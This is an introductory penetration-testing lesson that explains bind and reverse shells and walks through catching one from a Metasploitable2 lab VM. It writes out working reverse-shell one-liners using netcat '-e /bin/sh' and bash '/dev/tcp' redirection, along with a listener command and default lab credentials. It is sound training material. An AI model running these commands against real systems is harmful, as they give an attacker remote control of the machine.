Catching Reverse Shells with Netcat

1. What is a Reverse Shell?

We briefly touched on reverse shells when configuring Metasploit payloads. Now, let's explore the concept more deeply. The core idea is to reverse the typical client-server connection flow.

In a normal scenario (a bind shell), the attacker connects to a listener running on the target machine. However, firewalls often block unsolicited incoming connections, making this approach unreliable.

A reverse shell cleverly bypasses this. The attacker starts a listener, and the compromised target machine initiates an outbound connection to the attacker. Since firewalls are often configured to allow outbound traffic, this connection is much more likely to succeed.

To summarize the key difference:

• Bind Shell: Attacker connects to Target. Often blocked by firewalls.
• Reverse Shell: Target connects to Attacker. Often bypasses firewalls.

The tool we'll use to facilitate this is netcat (or nc). It's often called the "Swiss Army knife for TCP/IP" because it can create nearly any kind of connection you might need. For our purposes, it will act as both the listener on our attacker machine and the client on the target machine.

2. The Attacker's Side: Setting Up a Listener

Our first step is to prepare our attacking machine (your Kali VM) to receive the incoming connection from the target. We do this by using netcat in "listen" mode.

The command we use is nc -lvnp <port>. Let's break down those options:

• l: Listen mode. This tells netcat to wait for an incoming connection rather than initiating one.
• v: Verbose. This provides more detailed output, showing when a connection is made.
• n: Numeric. This tells netcat not to resolve hostnames via DNS, which can speed things up and is generally good practice.
• p: Port. This specifies the local port number on which to listen.

3. The Target's Side: Initiating the Connection

Once our listener is waiting, we need to execute a command on the target machine (your Metasploitable2 VM) to make it connect back to us. This command must do two things:

1. Establish a network connection to our listener's IP address and port.
2. Execute a shell (like /bin/sh) and pipe its input, output, and error streams through that network connection.

This is what gives us remote control. The classic netcat command for this is nc <attacker_ip> <port> -e /bin/sh.

4. Lab Time: Catching Your First Manual Shell

It's time to put this into practice. Make sure both your Kali and Metasploitable2 VMs are running and can communicate with each other.

Step 1: On your Attacker Machine (Kali Linux)

1. Open a terminal.

2. Find your Kali VM's IP address. You'll need this for the next step.

   ip a
   

   Look for the IP address under your primary network interface (e.g., eth0). It will likely be something like 192.168.x.x or 10.0.x.x.

3. Start the netcat listener. We'll use port 4444, a common choice for this purpose.

   nc -lvnp 4444
   

   Your terminal will now show listening on [any] 4444 ... and will wait.

Step 2: On your Target Machine (Metasploitable2)

1. Log into your Metasploitable2 VM (user: msfadmin, password: msfadmin).
2. Execute the netcat command to connect back to your Kali machine. Replace <YOUR_KALI_IP> with the IP address you found in the previous step.

   nc <YOUR_KALI_IP> 4444 -e /bin/sh
   

   After you press Enter, the prompt on Metasploitable2 might seem to hang. This is expected.

Step 3: Back on your Attacker Machine (Kali Linux)

Look at your listener terminal. You should see a "connect to" message, confirming the target has connected to you!

You now have a shell. You won't see a normal prompt, but you can type commands. Try these and press Enter after each one:

whoami
id
uname -a

You should see the output from the Metasploitable2 machine. For example, whoami will likely return msfadmin. You have successfully established a manual reverse shell!

To close the connection, you can press Ctrl+C in your listener (Kali) terminal.

5. A More Modern Approach: The Bash Reverse Shell

The -e option in netcat is incredibly convenient, but there's a catch: it's considered insecure. For this reason, most modern versions of netcat (including the one on your Kali machine) have removed it. The version on the older Metasploitable2 still has it, which is why our previous exercise worked.

So, what do you do on a modern system without the -e flag? You use the shell itself to handle the network redirection. This is a very common and powerful technique.

The command you just saw is:
bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1

Let's quickly decode this powerful one-liner:

• bash -i: Starts an interactive Bash shell.
• /dev/tcp/ip/port: This is a special feature in Bash. It's a "virtual file" that, when written to, opens a TCP connection to the specified IP and port.
• >&: This redirects both standard output (stdout) and standard error (stderr) to the TCP connection.
• 0>&1: This redirects standard input (stdin, file descriptor 0) to the same place as standard output (file descriptor 1), which is our TCP connection. This completes the loop, making the shell fully interactive.

Your Turn (Part 2)

Let's try this more robust method.

1. If your netcat listener on Kali is still running from the last exercise, stop it with Ctrl+C.
2. Restart the listener on your Kali VM:

   nc -lvnp 4444
   

3. On your Metasploitable2 VM, execute the Bash reverse shell command. Remember to replace <YOUR_KALI_IP>.

   bash -i >& /dev/tcp/<YOUR_KALI_IP>/4444 0>&1
   

4. Check your Kali listener terminal. You'll see a new connection and, once again, you can run commands like whoami and id to control the target.

Conclusion

You have now successfully created and caught a reverse shell using manual techniques, a fundamental skill for any aspiring penetration tester. This exercise demystifies what tools like Metasploit do under the hood and gives you a reliable method for gaining remote access.

Key Takeaways:

• A reverse shell is a connection initiated from the target to the attacker, often used to bypass firewalls.
• netcat is a versatile tool for setting up listeners (nc -lvnp <port>) and creating connections.
• The classic nc -e /bin/sh command pipes a shell over the network but is often unavailable on modern systems.
• The Bash redirection method (bash -i >& /dev/tcp/...) is a more reliable and modern alternative for creating reverse shells on Linux targets.

Next Lesson Preview:

Gaining a shell is a critical first step, but it's rarely the end goal. Now that we have a foothold on the system, what's next? In our next lesson, we will explore the initial phase of post-exploitation, learning how to use our newfound shell access to gather critical information about the compromised system, such as user accounts, network configuration, and running processes.